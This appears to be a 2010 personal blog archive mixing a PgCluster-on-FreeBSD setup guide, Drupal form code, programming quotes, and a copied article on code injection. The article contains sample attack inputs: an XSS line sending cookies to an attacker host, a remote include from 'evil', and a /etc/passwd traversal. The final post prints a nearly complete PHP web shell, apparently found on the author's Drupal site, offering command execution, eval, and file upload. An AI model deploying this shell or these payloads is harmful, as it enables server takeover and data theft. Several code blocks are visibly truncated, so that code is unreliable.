Friday, August 27, 2010

PostgreSQL Database Server Farm Installation and Configuration with PgCluster on FreeBSD


I recently installed a PostgreSQL Database Server Farm on FreeBSD at work. This installation had 1 loadbalancer, 3 cluster servers and 2 replication servers. PostgreSQL works really fast under FreeBSD (especially if you apply the correct configuration). I had some hard time finding a documentation, so I’m publishing the one I wrote here. This guide includes FreeBSD installation (step by step) and configuration, PgCluster installation and configuration (with a little bit performance tuning, thanks to EnderUnix Team and Alper YALCINER) and also performance testing via Bristlecone.


This document outlines installing a PostgreSQL Database Server farm on FreeBSD System.
The installation in this document was tested on a Server Farm which includes 6 PC’s. Hardware specifications of these PC’s are: Pentium 4 CPU’s, 512 MB of RAM, 64 MB Graphics Card and 80 GB Disks. We used PostgreSQL 8.3 Latest on FreeBSD 7.0 and PgCluster 1.9 Latest.
Download FreeBSD from The following instructions are based on FreeBSD Version 7.0
Step by step FreeBSD Installation Guide:
1. Boot with FreeBSD 7.0 installation disk.
2. When menu loads hit 1 to enter the default option.
3. Afterwards choose your country.
4. Then choose to begin a standard installation, it’s the recommended option at this dialog.
5. Then enter OK at the next two messages.
6. When partitioning your drive select ‘A’ for “Use Entire Disk,” then ‘Q’ to finish.
7. Next we need to install a boot manager, so select “BootMgr”.
8. Then enter OK at the next message.
9. Hit ‘A’ for the auto defaults, then ‘Q’ for finish.
10. When choosing your distribution pick option 9 “X-User,” then click OK to the next message, then click OK.
11. Then to install choose the option to do so via FreeBSD CD/DVD, and then click Yes.
12. The installation will then begin.
13. After the installation hit “OK”
14. Hit “No” when configuring any Ethernet or slip/ppp network devices (this can be done later)
15. Hit “No” when prompted if the machine will function as a network gateway.
16. Hit “No” for the next 6 dialogs.
17. Then hit “Yes” to set your machines time zone.
18. Then hit “No” when asked if your CMOS clock is set to UTC.
19. Select your region, then your country, then timezone.
20. When asked to enable Linux binary compatibility, hit no.
21. Hit “Yes” to having a mouse, and then hit no when asked to browse the content for the FreeBSD package.
22. Hit Yes to adding user accounts.
23. Select User to add a new user.
24. Name your user, (i.e normaluser) and give a password (i.e user12345!), then hit okay, then exit user adding menu.
25. When asked to set “root’s password, set it. (i.e rootAxR5!).
26. Then hit no to last dialog, you can now exit installation.
27. You can now reboot and log on.


Repeat these steps on each machine:
1. Login as root, and create a directory called “pgcluster” under /root (mkdir /root/pgcluster)
2. Move the source package to pgcluster directory (mv /source/path/of/the/package /root/pgcluster)
3. Untar the package with “tar -zxvf pgcluster-1.9.0rc5.tar.gz”
4. Enter the directory with “cd pgcluster-1.9.0rc5″
5. Do a configure with “./configure”
6. Open with a text editor (use nano or pice, pico /root/pgcluster/pgcluster-1.9.0rc5/src/
7. Find the line starting with “LIBS” and change it to : “LIBS = -lz -lreadline -lcrypt -lm -lcompat -lpthread”
8. Go back to the root directory of the program (cd /root/pgcluster/pgcluster-1.9.0rc5)
9. Type “gmake”
10. If all goes well without any errors, type “gmake install”
11. As root, enter the following commands:
adduser postgres
mkdir /usr/local/pgsql/data
chown postgres /usr/local/pgsql/data


In order to prevent unprepared access during starting / stop, a load balancer should start at the end. Stop from a load balancer conversely at the time of a stop.
To start/stop the system, you can do:
/usr/local/etc/rc.d/pgcluster start
/usr/local/etc/rc.d/pgcluster stop
on all computers. To start/stop them manually:
Replication Server
1. Start replication server
$ /usr/local/pgsql/bin/pgreplicate -D /usr/local/pgsql/etc
2. Stop replication server
3. Restart replication server
4. Usage of a replication server’s operation command.
pgreplicate [-D path of a configuration file] [-W path of a log file][-v] [-n] [-l][-h] [stop | restart]
1. Starting of Cluster DB
$ /usr/local/pgsql/bin/pg_ctl -D /usr/local/pgsql/data -o "-i" start
2. Stop of Cluster DB
Load Balancer
1. Start load balance server
$ /usr/local/pgsql/bin/pglb -D /usr/local/pgsql/etc
2. Stop load balance server
3. Restart load balance server
4. Usage of a load balance server’s operation command.
pglb [-D path of a configuration file] [-W path of log file][-v] [-n] [-l][-h] [stop | restart]


We used Bristlecone from Continuent Systems for performance testing.
Bristlecone provides tools for testing database performance. There are two main tools included in the package.
Evaluator generates mixed loads of inserts, updates, deletes, and selects. Output can be built-in graphics, HTML, XML, or CSV.
Benchmark runs performance test cases with systematically varying parameters. Output can be HTML or CSV.
The Bristlecone tools were designed for comparative evaluations of database clusters. They include built-in support for threading, ability to generate new tests quickly with simple configuration file changes, and the ability to do systematic tests across different database implementations.
Bristlecone is written in Java. It has mostly run on Linux but is easily adaptable to other platforms. Bristlecone has been tested against the following database types: PostgreSQL, MySQL, and HSQLDB (Hypersonic)
1. Download Bristlecone from
2. Unzip it in a directory
3. Go to bin directory
4. Create the following file:
type=PostgreSQL 8.3
# Command to reformat/analyze tables.
analyzeCmd=vacuum full analyze
5. Create the following file:
# Specify separate connection files for mcluster/mysql.|
# Specify thread combinations.
# Specify table combinations.
# Remaining values are fixed or irrelevant.
6. Create the following file:
type=uni/cluster for PG
# Command to reformat/analyze tables.
analyzeCmd=vacuum full analyze
7. Enter config/evaluator directory and create the following file: postgres.xml
< !DOCTYPE EvaluatorConfiguration SYSTEM >
<evaluatorconfiguration name="postgres" testDuration="120"
autoCommit="true" statusInterval="2" xmlFile="postgresResults.xml">
<database driver="org.postgresql.Driver"
<tablegroup name="tbl" size="200"></tablegroup>
<threadgroup name="A" threadCount="40" thinkTime="500"
updates="7" deletes="1" inserts="2" readSize="10"
rampUpInterval="10" rampUpIncrement="10"/>

8. Before starting a benchmark/evaluation, create a test database from loadbalancer:
# su postgres
$/usr/local/pgsql/bin/createuser -S -d -R -P benchmarkuser
[And enter the password "benchmark" when asked]
$ /usr/local/pgsql/bin/createdb -owner=benchmarkuser
This will create the database on all clusters. If not, check your cluster configuration settings and make sure your clusters/loadbalancers are up and connected to each other and running.
9. To benchmark, go to bin folder in bristlecone directory and type:
The benchmark should start
10. To evaluate, go to bin folder in bristlecone directory and type:
$./ ../config/evaluator/postgres.xml
Enjoy. Keep the light.
Bora Bilgin

Drupal Multiple Select Form (Two Sides)

Drupal Multiple Select Form (Two Sides)

  * Implementation of hook_menu()
function multiple_select_menu() {
  $items = array();

  $items['multiple_select'] = array(
    'title' => 'multiple_select',
    'page callback' => 'multiple_select',
    'type' => MENU_NORMAL_ITEM,

  $items['multiple_select_submit'] = array(
    'title' => 'multiple_select',
    'page callback' => 'multiple_select_submit',
    'type' => MENU_NORMAL_ITEM,

  return $items;

function multiple_select() {
  drupal_add_js(drupal_get_path('module', 'multiple_select') .'/multiple_select.js');

  $out = '<form action="/multiple_select_submit" method="POST" id="multiple-select-form">';
    $out .= '<select multiple id="select1" size="10">';
      $out .= '<option value="gan2">gan2</option>';
      $out .= '<option value="gan4">gan4</option>';
      $out .= '<option value="gan5">gan5</option>';
      $out .= '<option value="gan6">gan6</option>';
      $out .= '<option value="gan7">gan7</option>';
    $out .= '</select>';

    $out .= '<select name="option_selected[]" multiple id="select2" size="10">';
      $out .= '<option value="gan1">gan1</option>';
      $out .= '<option value="gan3">gan3</option>';
    $out .= '</select>';

    $out .= '<p>';
    $out .= '<a href="#" id="add"> >> </a> | ';
    $out .= '<a href="#" id="remove"> << </a>';
    $out .= '<p>';

    $out .= '<input type="submit">';
  $out .= '</form>';

  return $out;

function multiple_select_submit() {
  echo '<pre>';
  echo '</pre>';

  return 'hmm';

Drupal.behaviors.multipleSelectLink = function(context) {
    return !$('#select1 option:selected').remove().appendTo('#select2');

  $('#remove').click(function() {
    return !$('#select2 option:selected').remove().appendTo('#select1');

  // automatically select all options in the second select box before submitting.
  $('#multiple-select-form').submit(function() {
    $('#select2 option').each(function(i) {


Thursday, August 26, 2010

Computer Programming

    • Charles Babbage, Passages from the Life of a Philosopher (1864), ch. 5: "Difference Engine No. 1"
  • Computers are man's attempt at designing a cat: it does whatever it wants, whenever it wants, and rarely ever at the right time.
  • There is no programming language, no matter how structured, that will prevent programmers from making bad programs.
  • [This] reminds me of a quotation from somebody that, whenever he tried to explain the logical structure of a programming language to a programmer, it was like a cat trying to explain to a fish what it feels like to be wet.
  • To me programming is more than an important practical art. It is also a gigantic undertaking in the foundations of knowledge.
    • Grace Hopper, quoted in Management and the Computer of the Future (1962) by Sloan School of Management, p. 277
  • Programming: when the ideas turn into the real things.
  • Premature optimization is the root of all evil.
    • Donald Knuth, "Structured Programming with Goto Statements". Computing Surveys 6:4 (December 1974), pp. 261–301, §1.
    • Knuth refers to this as "Hoare's Dictum" 15 years later in "The Errors of Tex", Software—Practice & Experience 19:7 (July 1989), pp. 607–685. However, the attribution to C. A. R. Hoare is doubtful.[2]
      • All three of these papers are reprinted in Knuth, Literate Programming, 1992, Center for the Study of Language and Information ISBN 0937073806
  • The most important thing in a programming language is the name. A language will not succeed without a good name. I have recently invented a very good name, and now I am looking for a suitable language.
  • Computers are good at following instructions, but not at reading your mind.
  • One in a million is next Tuesday.
  • He who hasn't hacked assembly language as a youth has no heart. He who does as an adult has no brain.
    • John Moore [citation needed], playing on the French saying that "He who is not a Socialist at 20 has no heart. He who at 40 is a Socialist has no brain."
  • Languages shape the way we think, or don't.
    • Erik Naggum [3]
  • Computer programming is tremendous fun. Like music, it is a skill that derives from an unknown blend of innate talent and constant practice. Like drawing, it can be shaped to a variety of ends – commercial, artistic, and pure entertainment. Programmers have a well-deserved reputation for working long hours, but are rarely credited with being driven by creative fevers. Programmers talk about software development on weekends, vacations, and over meals not because they lack imagination, but because their imagination reveals worlds that others cannot see.
  • Computer Science is embarrassed by the computer.
    • Alan Perlis, "Epigrams on Programming"
  • Prolonged contact with the computer turns mathematicians into clerks and vice versa.
    • Alan Perlis, "Epigrams on Programming"
  • Structured Programming supports the law of the excluded muddle.
    • Alan Perlis, "Epigrams on Programming"
    • Alan Perlis, "Epigrams on Programming"
    • Sam Redwine [Proceedings of the 4th International Software Process Workshop, Moretonhampstead, Devon, U.K., 11–13 May 1988, IEEE Computer Society]
  • Why bother with subroutines when you can type fast?
  • The three chief virtues of a programmer are: Laziness, Impatience and Hubris.
    • Larry Wall [4]
    • Jamie Zawinski (who called it the "Law of Software Envelopment") [citation needed]

[edit] Anonymous/Unattributed

  • 43rd Law of Computing: Anything that can go wr Seek Error reading Drive C: Abort, Retry, Ignore, Fail?
  • Any sufficiently advanced magic is indistinguishable from a rigged demonstration.
    • Restatement of Murphy's reformulation of Clarke's Third Law
  • The attention span of a computer is only as long as its electrical cord.
  • Beware of programmers that carry screwdrivers.
  • Computer programmers never die, they just become lost in the processing.
  • Computers can never replace human stupidity.
  • Computers Unite! You have nothing to lose but your operators.
  • Documentation is the castor oil of programming. Managers know it must be good because the programmers hate it so much.
  • Eagleson's Law of Programming: Any code of your own that you haven't looked at for six or more months, might as well have been written by someone else.
  • Gilb's First Law of Unreliability: Computers are unreliable but humans are even more unreliable.
  • Good programming is 99% sweat and 1% coffee.
  • If God had intended man to have computers, he would have given him 16 fingers.
  • Is a computer language with goto's totally Wirth-less?
  • Laws of Computer Programming:
    1. Any given program, when running, is obsolete.
    2. Any given program costs more and takes longer.
    5. Any given program will expand to fill all available memory.
  • On a clear disk you can seek forever.
  • Programmer (n): An organism that can turn caffeine into code.
  • Programmers get overlaid.
  • Programming Department: Mistakes made while you wait.
  • Programming is an art form that fights back.
  • Programming would be so much easier without all the users.
  • The problem about all graphical programming languages is that when your project becomes complex, not only will you have spaghetti code, but it will actually look like spaghetti too.
  • Small programs are for small minds.
  • Software and cathedrals are much the same – first we build them, then we pray. Sam Redwine (This is a quote from Samuel T. Redwine, Jr. made at 4th International Software Process Workshop and published in Proceedings of the 4th International Software Process Workshop, Moretonhampstead, Devon, U.K., 11–13 May 1988, IEEE Computer Society.)
  • There are 10 types of people in this world, those who understand binary and those who do not.
  • To err is human. To blame it on a computer is even more so.
  • Troutman's First Programming Postulate: If a test installation functions perfectly, all subsequent systems will malfunction.
  • Troutman's Second Programming Postulate: The most harmful error will not be discovered until a program has been in production for at least six months.
  • Troutman's Third Programming Postulate: Job control cards that positively cannot be arranged in improper order will be.
  • Troutman's Fourth Programming Postulate: Interchangeable tapes won't.
  • Troutman's Fifth Programming Postulate: If the input editor has been designed to reject all bad input, an ingenious idiot will discover a method to get bad data past it.
  • Troutman's Sixth Programming Postulate: Profanity is the one language all programmers know best.
  • We don't really understand it, so we'll give it to the programmers.
  • Whom computers would destroy, they must first drive insane.
  • Writing it is easy, understanding it is hard.
  • Your program is sick! Shoot it and put it out of its memory.
  • Your Zip file is open.

[edit] Debugging

  • Even perfect program verification can only establish that a program meets its specification. […] Much of the essence of building a program is in fact the debugging of the specification.
    • Fred Brooks (1986), "No Silver Bullet", Information Processing 1986, the Proceedings of the IFIP Tenth World Computing Conference, H. K. Kugler, ed., Elsevier Science, 1986, p. 1069 ff.
    • Reprinted in the IEEE magazine Computer 20 (4), (April 1987), p. 43 ff.; and in The Mythical Man-Month Anniversary Edition (1995), ISBN 0-201-83595-9
  • Much to the surprise of the builders of the first digital computers, programs written for them usually did not work.
    • Rodney Brooks, Programming in Common Lisp, Wiley, 1985, p. 94
  • bug, n: An elusive creature living in a program that makes it incorrect. The activity of "debugging", or removing bugs from a program, ends when people get tired of doing it, not when the bugs are removed.
  • silver bullet (SIL-vuhr BOOL-it) noun: A quick solution to a thorny problem. [From the belief that werewolves could be killed when shot with silver bullets.] "Writing code, he (Stuart Feldman) explains, is like writing poetry: every word, each placement counts. Except that software is harder, because digital poems can have millions of lines which are all somehow interconnected. Try fixing programming errors, known as bugs, and you often introduce new ones. So far, he laments, nobody has found a silver bullet to kill the beast of complexity."
    • Survey: The Beast of Complexity; The Economist (London, UK); Apr 14, 2001.
    • RADM Grace Hopper, on the removal of a 2-inch-long moth from the Harvard Mark I experimental computer at Harvard in August 1945, as quoted in Time (16 April 1984)
    • Brian Kernighan, "The Elements of Programming Style", 2nd edition, chapter 2

[edit] Anonymous/Unattributed

  • Law 1: Every program can be optimised to be smaller. Law 2: There's always one more bug. Corollary: Every program can be reduced to a one-line bug.
  • Lubarsky's Law of Cybernetic Entomology: There's always one more bug.
  • The paradox of software testing: In theory, testing software for correctness is impossible. In practice, it is given to freshmen because it's the least demanding task available.
  • Gilder's Law: Bandwidth grows at least three times faster than computer power.
    • George F. Gilder, Telecosm: How Infinite Bandwidth Will Revolutionize Our World, The Free Press, NY, 2000 [specific citation needed]
  • The best way to predict the future is to implement it.


Shakespearian C (Shakespeare C)

Shakespearian C (Shakespeare C)

"To be or not to be... that is the question."

The answer is 0xff since:


0x2b | ~0x2b = 0xff

Wednesday, August 25, 2010

Polyglot Programming and Web Security

Polyglot Programming and Web Security

Polyglot is a computer program written in a valid form of multiple
programming languages.
For example, print"Hello",0?"Ruby":"Perl","
!\n" is a Perl/Ruby polyglot program
which returns different result each languages using difference of
handling boolean value.

Applying these techniques makes five language polyglot program like as
int main() {putchar('C'); if(sizeof('C')-1);
else {putchar('+'); putchar('+');}} /*=;
$ perl a.cpp
$ ruby a.cpp
$ python a.cpp
$ gcc -xc a.cpp && ./a.out
$ cl.exe a.cpp
$ a.exe

And applying more growth of these techniques makes obfuscated program
with just only symbols
for Perl / Ruby / JavaScript and so on like as:

Moreover I'll show the Perl / Ruby / PHP / JavaScript program embedded
in GIF / JPEG images.
And we can make a x86 executable code in ascii string which includes
just only symbols.

all your base32 are belong to us


Thursday, August 19, 2010

Code injection

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worms to propagate.


[edit] Overview and example

A web server has a guestbook script, which accepts small messages from users, and typically receives messages such as
Very Nice site!
However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as
Nice Site,  I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>
If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.
That post was awesome, >:) 
Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.[1] Classic examples of dangerous assumptions a software developer might make about the input to a program include:
  • assuming that metacharacters for an API never occurs in an input; e.g. assuming punctuation like quotation marks or semi-colons would never appear
  • assuming only numeric characters will be entered as input
  • assuming the input will never exceed a certain size
  • assuming that numeric values are equal or less than upper bound
  • assuming that numeric values are equal or greater than lower bound
  • assuming that client supplied values set by server (such as hidden form fields or cookies), cannot be modified by client. This assumption ignores known attacks such as Cookie poisoning, in which values are set arbitrarily by malicious clients.
  • assuming that it is okay to pick pointers or array indexes from input
  • assuming an input would never provide false information about itself or related values, such as the size of a file[2]

[edit] Uses of code injection

[edit] Intentional use

[edit] Malevolent

Use of code injection is typically viewed as a malevolent action, and it often is. Code injection techniques are popular in system hacking or cracking to gain information, Privilege escalation or unauthorised access to a system.
Code injection can be used malevolently to:
  • Arbitrarily modify values in a database through a type of code injection called SQL injection. The impact of this can range from defacement of a web site to serious compromisation of sensitive data.
  • Install malware on a computer by exploiting code injection vulnerabilities in a web browser or its plugins when the user visits a malicious site.
  • Install malware or execute malevolent code on a server, by PHP or ASP Injection.
  • Privilege escalation to root permissions by exploiting Shell Injection vulnerabilities in a setuid root binary on UNIX.
  • Privilege escalation to Local System permissions by exploiting Shell Injection vulnerabilities in a service on Windows.
  • Stealing sessions/cookies from web browsers using HTML/Script Injection (Cross-site scripting).

[edit] Benevolent

Some people may use code injections with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent. Code injection could, for example,:
  • Introduce a useful new column that did not appear in the original design of a search results page.
  • Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
Someone might resort to this sort of work-around because other ways of modifying the software to function as desired:
  • Prove impossible, or
  • Are too expensive, or
  • Become too frustrating or painful.
The development community as a whole[weasel words] frowns on code injection for this purpose, calling it a kludge or hack.
Some developers allow or even promote the use of code injection to "enhance" their software, usually because this solution offers a less expensive way to implement new or specialized features. The side effects and unaccounted implications can, unfortunately, be very dangerous.
Even well-intentioned use of code injection is discouraged in general.

[edit] Unintentional use

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:
  • What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
  • The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.

[edit] Preventing code injection

To prevent code injection problems, utilize secure input and output handling, such as:
  • Input validation
  • Escaping dangerous characters. For instance, in PHP, using the htmlentities() function to protect general inputs into your web application, and mysql_real_escape_string() to protect inputs which will be included in an SQL request, to protect against SQL Injection.
  • Input encoding
  • Output encoding
  • Other coding practices which are not prone to code injection vulnerabilities, such as "parameterized SQL queries" (also known as "prepared statements" and sometimes "bind variables").
  • Modular shell disassociation from kernel

[edit] Examples of code injection

[edit] SQL injection

SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.
For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'
If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("password' OR '1'='1'") in the Password field, then the resulting query will look like this:
SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'
In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

[edit] Dynamic evaluation vulnerabilities

Steven M. Christey of Mitre Corporation suggests this name for a class of code injection vulnerabilities.

[edit] Dynamic evaluation vulnerabilities - eval injection

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.[3]
$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');
The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

[edit] Dynamic evaluation vulnerabilities - dynamic variable evaluation

As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.
A number of applications have code such as the following:
$safevar = "0";
$param1 = "";
$param2 = "";
$param3 = "";
# my own "register globals" for param[1,2,3]
  $$key = $value;
If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".

[edit] Dynamic evaluation vulnerabilities - dynamic function evaluation

The following PHP-examples will execute a function specified by request.
$myfunc = $_GET['myfunc'];
$myfunc = $_GET['myfunc'];

[edit] Include file injection

   $color = 'blue';
      $color = $_GET['COLOR'];
   require( $color . '.php' );
<form method="get">
   <select name="COLOR">
   <input type="submit">
  • /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
  • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
  • /vulnerable.php?COLOR=../../../../../../../../etc/passwd - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
  • /vulnerable.php?COLOR=C:\\notes.txt - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

[edit] Shell injection

Shell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute command line. Typical Shell Injection functions are system(), StartProcess(), java.lang.Runtime.exec(), System.Diagnostics.Process.Start() and similar APIs.
passthru("/home/user/phpguru/funnytext " . $_GET['USER_INPUT']);
This program can be injected in multiple ways:
  • `command` will execute command.
  • $(command) will execute command.

[edit] HTML-script injection (cross-site scripting)

HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.
The two basic types are as follows:
Active (Type 1)
This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.
Passive (Type 2)
This type is more dangerous, as the input is written to a static page, and as such, is persistent.

[edit] HTML injection in IE7 via infected DLL


[edit] ASP injection

"ASP Injection", "PHP Injection" etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS.
In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.
    If Not IsEmpty(Request( "username" ) ) Then
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
        Dim fso, f
        Set fso = CreateObject("Scripting.FileSystemObject")
        f.Write Request("username") & vbCrLf
        Set f = nothing
        Set fso = Nothing
         <h1>List of logged users:</h1>
         Server.Execute( "userlog.txt" )
    End If
In this example, the user is able to insert a command instead of a username.

[edit] Analogy

Code injection is an error in interpretation. Similar interpretation errors exist outside the world of computer science such as the comedy routine Who's on First?. This conversation was properly validated by this quote:
"Not the pronoun but a player with the unlikely name of Who, is on first"
-- Principal Skinner

[edit] See also

[edit] References

  1. ^ Hope, Paco; Walther, Ben (2008). Web Security Testing Cookbook. O'Reilly Media, Inc.. p. 254. ISBN 978-0-596-51483-9 
  2. ^ Many file formats begin by declaring how much data they hold, along with some other values, up front. Understating the amount of data in this declaration can lead to a buffer overrun in carelessly developed software. For example, a carelessly built web browser. This often exposes a code injection vulnerability. This is the premise behind many security vulnerabilities involving files, especially image and media files.
  3. ^ Christey, Steven M. (2006-05-03). "Dynamic Evaluation Vulnerabilities in PHP applications" (HTML). Retrieved 2008-11-17. 
  4. ^ Goodin, Dan (2007-05-25). "Strange spoofing technique evades anti-phishing filters, Targets include PayPal, eBay and others". The Register. Retrieved 2008-11-17. 

[edit] External links


Wednesday, August 18, 2010

Some drupal scripts got affected today

Some drupal scripts got affected today

  @ini_set('file_uploads', true);

  if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();

  $phpver = str_replace('.','',phpversion());
  if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
  if(intval($phpver) < 410){

  $pw_pls="<form method=post><input type=text name=pw></form>";

  if (empty($_POST['pw'])) exit($pw_pls);
  if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);

  $pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";

  if (!empty($_POST['usemodule'])) include($_POST['usemodule']);

  $work_dir = getcwd();
  if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
  if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
  else $os="nix";
  if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
  else $cd = $work_dir;

  if (is_dir($cd)) chdir($cd);

  if (!@is_file($edit)) $edit=$cd;

  if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);

  if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
    $uploaddir = ereg_replace('/+', '/', $cd."/");
    $uploadfile = $uploaddir.basename($_FILES['userfile']['name']);

 if ($magic_quotes) $console = stripslashes($_POST['console']);
 else $console = $_POST['console'];
    $time = filemtime($edit);
    if ($f) {

  if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
 if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
    if ($f) {
      if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
      else $retval = "[empty]";
    } else {
      $retval = "Can't open file: $edit\n";
  } elseif (!empty($run)) {
    $cmd = $run;
    $retval = magic_execute($cmd);
  } elseif (file_exists($cd) && @is_dir($cd)) {

 if (!$safemode)
  if ($os=='win')

    $cmd = "dir ".str_replace("/","\\",$cd);
    $retval = magic_execute($cmd);
    $cmd = "ls -la \"$cd\"";
    $retval = magic_execute($cmd);

    if (empty($retval))
  if($curdir = @opendir($dir)) {
  while($file = readdir($curdir)) {
   $srcfile = $dir . '/' . $file;
   if(is_file($srcfile)) {
    if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."\n";
    else $retval .= "-- ".$file."\n";
   } elseif(is_dir($srcfile)) {
    if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."\n";
    else $retval .= "d- ".$file."\n";
  } else $retval = "Cant open directory\n";


 $id_exec = "cant get uid,gid";

 if ($tmp = magic_execute("id")) $id_exec = $tmp;
 elseif (function_exists('posix_getgid'))
  $uids  = @posix_getlogin();
  $euids = @posix_getlogin();
  $uid   = @posix_getuid();
  $euid  = @posix_geteuid();
  $gid   = @posix_getgid();
  if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";

  echo '<HTML><BODY onload="document.getElementById(\'cdfocus\').focus();"><HR>';
  echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
  echo "<HR>";
  if (isset($need_save_button)) echo "<FORM method=post>";
  echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
  if (isset($retval)) echo htmlspecialchars($retval);
  echo '</TEXTAREA>';
  if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
  echo "<HR><FORM method=\"POST\">$pw";
  echo "<table><tr><td>dir:</td><td width=\"100%\"><input type=\"text\" style=\"width:100%;\" id=\"cdfocus\" name=\"cd\" value=\"".htmlspecialchars($cd)."\"></td></tr>".
       "<tr><td>run:</td><td><input type=\"text\" style=\"width:100%;\" name=\"run\" value=\"\"></td></tr>".
       "<tr><td>edit:</td><td><input type=\"text\" style=\"width:100%;\" name=\"edit\" value=\"".htmlspecialchars($edit)."\"></td></tr>".
       "<input type=\"submit\" value=\"OK\"></FORM>";

  echo "<hr><form enctype=\"multipart/form-data\" method=\"post\">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"15000000\" />upload: <input name=\"userfile\" type=\"file\" /><input type=\"submit\" value=\"upload\" /></form><hr>";
  echo "<form method=post>$pw<textarea style=\"width:100%;height:100px;\"  name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
  echo "use module: <form method=post>$pw<input type='text' name='usemodule'> <input type=submit value='use'></form><hr>";
  echo "</BODY></HTML>";


  function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}

 function magic_execute($cmd)
  if (function_exists('exec'))
   $res = join("\n",$res);
  if (function_exists('shell_exec'))
   $res = @shell_exec($cmd);
  if (function_exists('system'))
   $res = @ob_get_contents();
   $res = @ob_get_contents();
  if (@is_resource($f = @popen($cmd,"r")))
   $res = "";
   while(!@feof($f)) { $res .= @fread($f,1024); }
  return $res;



